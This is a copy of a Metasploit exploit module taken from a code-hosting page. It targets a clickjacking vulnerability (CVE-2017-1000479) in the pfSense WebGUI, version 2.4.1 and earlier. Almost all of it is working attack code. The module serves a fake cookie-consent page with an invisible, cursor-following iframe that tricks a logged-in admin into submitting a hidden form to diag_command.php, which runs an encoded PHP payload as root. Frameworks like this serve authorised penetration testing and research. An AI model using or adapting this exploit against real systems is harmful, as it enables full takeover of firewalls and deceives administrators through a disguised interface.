Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pfsense_clickjacking.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',15'Description' => %q{16This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.1718pfSense is a free and open source firewall and router. It was found that the19pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin20into interacting with a specially crafted webpage it is possible for an attacker21to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,22this will result in a full compromise of the pfSense instance.23},24'Author' => 'Yorick Koster',25'Payload' => { 'BadChars' => '"' },26'License' => MSF_LICENSE,27'References' =>28[29['CVE', '2017-1000479'],30['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],31['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process'36},37'Arch' => ARCH_PHP,38'Platform' => 'php',39'Targets' =>40[41[ 'pfSense <= 2.4.1', { 'auto' => false } ]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2017-11-21'45)46)4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])51]52)53end5455def js_file56@js ||= lambda {57path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')58return File.read(path)59}.call60end6162def css_file63@css ||= lambda {64path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')65return File.read(path)66}.call67end6869def background_file70@background ||= lambda {71path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')72return File.read(path)73}.call74end7576def on_request_uri(cli, request)77print_status("GET #{request.uri} #{request.headers['User-Agent']}")7879resp = create_response(200, "OK")80if request.uri =~ /\.js$/81resp.body = js_file82resp['Content-Type'] = 'text/javascript'8384elsif request.uri =~ /\.css$/85resp.body = css_file86resp['Content-Type'] = 'text/css'8788elsif request.uri =~ /\.jpg$/89resp.body = background_file90resp['Content-Type'] = 'image/jpg'9192else93if datastore['TARGETURI'].end_with? '/'94url = datastore['TARGETURI'] + 'diag_command.php'95else96url = datastore['TARGETURI'] + '/diag_command.php'97end98framename = rand_text_alpha(16)99divname = rand_text_alpha(16)100resp.body = %Q|<!DOCTYPE html>101<html>102<meta charset="utf-8">103<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />104<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>105<script>106window.addEventListener("load", function(){107window.cookieconsent.initialise({108"palette": {109"popup": {110"background": "#000",111"text": "#0f0"112},113"button": {114"background": "#0f0"115}116},117"position": "top",118"static": true119});120});121</script>122<script>123document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';124window.addEventListener('load', function(){125document.forms[0].post.click();126document.onmousemove = function(e) {127var e = e \|\| window.event;128var s = document.getElementById('#{divname}');129s.style.left = (e.clientX - 10) + 'px';130s.style.top = (e.clientY - 5) + 'px';131};132});133</script>134<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">135<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">136<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>137</div>138<div style="display:none">139<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">140<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />141<input type="hidden" name="submit" value="EXECPHP" />142<input type="submit" name="post"/>143</form>144</div>145</body>146</html>147|148resp['Content-Type'] = 'text/html'149end150151cli.send_response(resp)152end153end154155156